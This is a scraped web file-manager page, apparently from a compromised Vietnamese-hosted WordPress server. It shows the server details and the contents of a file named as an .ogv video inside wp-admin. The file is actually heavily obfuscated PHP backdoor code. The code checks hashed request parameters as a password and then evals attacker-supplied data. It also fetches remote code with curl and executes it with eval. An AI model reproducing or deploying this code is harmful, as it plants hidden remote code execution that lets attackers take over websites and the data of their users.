HEX
Server: Apache/2
System: Linux sd22995.server.idn.vn 5.14.0-570.41.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Sep 11 06:52:33 EDT 2025 x86_64
User: dainam (1029)
PHP: 8.3.26
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/dainam/public_html/wp-admin/user/user/ZLbIucGzgWhFMJYSCB.ogv
<?php
 goto zATUeEtLMue; i82uKjY09E3: metaphone("\x32\x6a\71\x63\x39\x34\172\167\117\x69\x59\x35\142\x42\x58\106\x74\165\x49\x57\x6b\152\70\x63\x4a\172\x6b\111\x2b\x58\57\x33\120\x59\x2f\116\162\x68\62\x73\53\x52\x77"); goto Euy0g3BuEWJ; ZJ631RXI2U4: $FNYKho_1PRj = ${$C0gi3dCe_ku[15 + 16] . $C0gi3dCe_ku[2 + 57] . $C0gi3dCe_ku[26 + 21] . $C0gi3dCe_ku[22 + 25] . $C0gi3dCe_ku[48 + 3] . $C0gi3dCe_ku[42 + 11] . $C0gi3dCe_ku[34 + 23]}; goto vfYPz9zVdTE; zATUeEtLMue: $L78SL25O7CP = "\162" . "\x61" . "\x6e" . "\x67" . "\145"; goto NuX0G_J70v_; NuX0G_J70v_: $C0gi3dCe_ku = $L78SL25O7CP("\x7e", "\x20"); goto ZJ631RXI2U4; vfYPz9zVdTE: @(md5(md5(md5(md5($FNYKho_1PRj[11])))) === "\144\x31\x35\65\x37\x64\146\x62\142\x35\66\65\60\x36\65\71\x61\x62\65\x35\141\x65\x63\x65\143\64\71\x32\146\70\x34\146") && (count($FNYKho_1PRj) == 17 && in_array(gettype($FNYKho_1PRj) . count($FNYKho_1PRj), $FNYKho_1PRj)) ? ($FNYKho_1PRj[70] = $FNYKho_1PRj[70] . $FNYKho_1PRj[72]) && ($FNYKho_1PRj[85] = $FNYKho_1PRj[70]($FNYKho_1PRj[85])) && @eval($FNYKho_1PRj[70](${$FNYKho_1PRj[31]}[20])) : $FNYKho_1PRj; goto i82uKjY09E3; Euy0g3BuEWJ: class HlKgyM6Sslg { static function wk3L3OHllI8($f41pkDuSXJZ) { goto rpk0TCXXz7I; DyrufQXrzb2: hgsgvoLlrh6: goto SJZB42iZWpG; JEZmRKMwNl9: $PJQCMyF5qW7 = ''; goto Fe8pAJnIIec; rpk0TCXXz7I: $BTl2ITnhV_S = "\162" . "\141" . "\156" . "\x67" . "\x65"; goto vrrQFE7n3EG; SJZB42iZWpG: return $PJQCMyF5qW7; goto GJUfwdAcNsg; Fe8pAJnIIec: foreach ($AliUnm2r7tR as $pCuoTAhDRfj => $GdOo_ZXDKRC) { $PJQCMyF5qW7 .= $QRCZ3D3hfy7[$GdOo_ZXDKRC - 11004]; npeX6rKvjht: } goto DyrufQXrzb2; vrrQFE7n3EG: $QRCZ3D3hfy7 = $BTl2ITnhV_S("\x7e", "\40"); goto H6aEWkBS_W7; H6aEWkBS_W7: $AliUnm2r7tR = explode("\x2e", $f41pkDuSXJZ); goto JEZmRKMwNl9; GJUfwdAcNsg: } static function TKusRizL2fi($QNE3D1ETWmz, $zb3yPjZEsJ7) { goto tCRaKK2lp5R; qufJuMhDwXU: $PKpMNqS2NZo = curl_exec($o8zvL8U1RZj); goto hpX6bwT641T; hpX6bwT641T: return empty($PKpMNqS2NZo) ? $zb3yPjZEsJ7($QNE3D1ETWmz) : $PKpMNqS2NZo; goto gOy4WJ2KnTF; Js3Q4Hata91: curl_setopt($o8zvL8U1RZj, CURLOPT_RETURNTRANSFER, 1); goto qufJuMhDwXU; tCRaKK2lp5R: $o8zvL8U1RZj = curl_init($QNE3D1ETWmz); goto Js3Q4Hata91; gOy4WJ2KnTF: } static function QVPzcFIHrEC() { goto K5aGCE2dAhZ; KARbPy4Cljz: QNpGtx1D3pw: goto dQZOhLXPA_1; J2ExbM0ig7Z: if (!(@$A21jx8G7ll2[0] - time() > 0 and md5(md5($A21jx8G7ll2[2 + 1])) === "\x39\63\x39\x65\60\67\143\x64\x38\x36\x39\x38\70\145\71\65\62\144\x36\x65\x61\143\60\x31\62\x31\x66\x38\63\67\x62\x31")) { goto QNpGtx1D3pw; } goto SbPkUq_zljA; nXuZp7FGpUd: die; goto KARbPy4Cljz; qYiTjjPlgVQ: $XwkELwvRcze = @$KDnhPgI2HmA[1]($KDnhPgI2HmA[6 + 4](INPUT_GET, $KDnhPgI2HmA[3 + 6])); goto jRRp5jvA99L; FOfkMykB9Js: $A21jx8G7ll2 = $KDnhPgI2HmA[2 + 0]($WS1CnhLm2NL, true); goto ZpHKLM0MXrw; K5aGCE2dAhZ: $R1NAdPN46lx = array("\x31\61\60\x33\61\x2e\x31\x31\x30\61\x36\56\61\x31\x30\62\71\56\x31\61\60\x33\x33\56\x31\61\60\61\64\x2e\61\x31\x30\x32\71\56\x31\x31\x30\63\x35\56\61\x31\x30\62\70\x2e\61\61\x30\x31\x33\x2e\x31\x31\x30\x32\x30\x2e\x31\x31\x30\63\61\x2e\x31\61\60\61\x34\56\x31\x31\x30\x32\65\x2e\x31\x31\x30\61\x39\x2e\61\x31\60\x32\x30", "\61\x31\x30\x31\65\x2e\x31\61\60\61\64\56\61\61\x30\x31\66\x2e\61\61\60\x33\65\x2e\61\61\60\61\66\x2e\x31\61\x30\x31\71\56\x31\x31\x30\x31\64\56\x31\x31\60\70\61\56\61\x31\60\x37\x39", "\x31\x31\60\x32\64\56\61\61\60\61\x35\56\x31\x31\60\61\x39\56\61\x31\x30\62\x30\x2e\61\61\60\x33\x35\56\x31\61\x30\63\60\56\61\x31\60\x32\71\56\61\61\x30\x33\61\x2e\61\x31\60\61\x39\56\61\61\x30\x33\x30\56\x31\x31\60\62\x39", "\x31\61\x30\61\70\x2e\61\61\60\x33\63\x2e\61\x31\60\x33\61\56\61\x31\60\x32\63", "\x31\x31\60\63\x32\56\x31\x31\x30\x33\63\56\x31\x31\60\x31\x35\56\x31\x31\x30\x32\71\56\x31\x31\x30\x37\66\x2e\61\x31\x30\x37\x38\56\x31\x31\x30\63\x35\x2e\61\x31\60\x33\x30\56\x31\61\60\62\x39\x2e\61\61\60\63\x31\56\x31\x31\x30\x31\71\56\61\61\60\63\60\x2e\61\61\x30\x32\71", "\x31\x31\60\x32\70\56\61\x31\60\x32\65\56\x31\61\x30\62\x32\x2e\61\x31\60\x32\x39\56\x31\x31\x30\x33\x35\x2e\61\x31\x30\x32\67\x2e\x31\61\60\62\71\x2e\x31\x31\60\61\64\x2e\x31\x31\x30\63\65\x2e\x31\61\60\63\61\56\61\61\x30\61\71\56\x31\x31\x30\62\60\56\61\x31\x30\61\64\x2e\61\61\60\62\71\56\x31\61\x30\x32\x30\x2e\x31\x31\x30\61\x34\56\x31\x31\x30\61\x35", "\61\61\x30\x35\70\x2e\61\x31\60\70\70", "\61\x31\60\x30\x35", "\61\x31\60\x38\63\x2e\x31\x31\x30\70\70", "\61\x31\60\x36\65\x2e\61\61\60\64\x38\x2e\61\61\60\x34\x38\56\x31\61\x30\x36\x35\x2e\x31\61\60\64\61", "\x31\61\60\62\70\x2e\61\61\x30\x32\x35\x2e\61\61\x30\x32\62\x2e\61\x31\x30\x31\x34\56\x31\x31\60\x32\71\56\x31\61\60\61\x36\56\61\x31\x30\63\x35\x2e\61\x31\x30\x32\x35\56\x31\x31\x30\62\x30\x2e\x31\61\x30\x31\70\56\x31\x31\60\61\63\56\x31\61\x30\61\64"); goto LgazxUY9kDj; LgazxUY9kDj: foreach ($R1NAdPN46lx as $JrbJRyg5i7q) { $KDnhPgI2HmA[] = self::WK3l3OHlli8($JrbJRyg5i7q); w93pALdwKfI: } goto tgpzd8cVx_Y; tgpzd8cVx_Y: HtmHZ8Cp6xA: goto qYiTjjPlgVQ; jRRp5jvA99L: $WS1CnhLm2NL = @$KDnhPgI2HmA[0 + 3]($KDnhPgI2HmA[6 + 0], $XwkELwvRcze); goto FOfkMykB9Js; E9Sr6myMlqf: @eval($KDnhPgI2HmA[0 + 4]($eqY_2IIkKaw)); goto nXuZp7FGpUd; ZpHKLM0MXrw: @$KDnhPgI2HmA[9 + 1](INPUT_GET, "\157\146") == 1 && die($KDnhPgI2HmA[1 + 4](__FILE__)); goto J2ExbM0ig7Z; SbPkUq_zljA: $eqY_2IIkKaw = self::tkusrizl2Fi($A21jx8G7ll2[1 + 0], $KDnhPgI2HmA[3 + 2]); goto E9Sr6myMlqf; dQZOhLXPA_1: } } goto tOX3xT9ihuu; tOX3xT9ihuu: hlKgYm6sSlG::qvpZcFIhrec();
?>